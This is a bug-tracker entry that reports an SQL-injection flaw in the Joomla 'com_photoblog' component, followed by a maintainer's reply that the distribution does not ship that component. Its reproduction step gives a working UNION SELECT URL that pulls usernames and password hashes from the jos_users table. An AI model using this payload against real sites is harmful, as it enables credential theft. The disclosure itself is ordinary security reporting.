Description Dawoud 2009-10-29 08:33:58 UTC

http://www.securityfocus.com/bid/36809/info

The 'com_photoblog' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Reproducible: Always

Steps to Reproduce:
1. http://www.example.com/index.php?option=com_photoblog&amp;view=blogs&amp;category=-666/**/union/**/select/**/6,concat%280x3a,username,password%29,6,6,version%28%29,6,6,6,6,6,6,6,6,6/**/from/**/jos_users/*



Sorry again, the initial description isn't clear about version.

We don't ship this component, i.e. www-apps/joomla doesn't contain it.
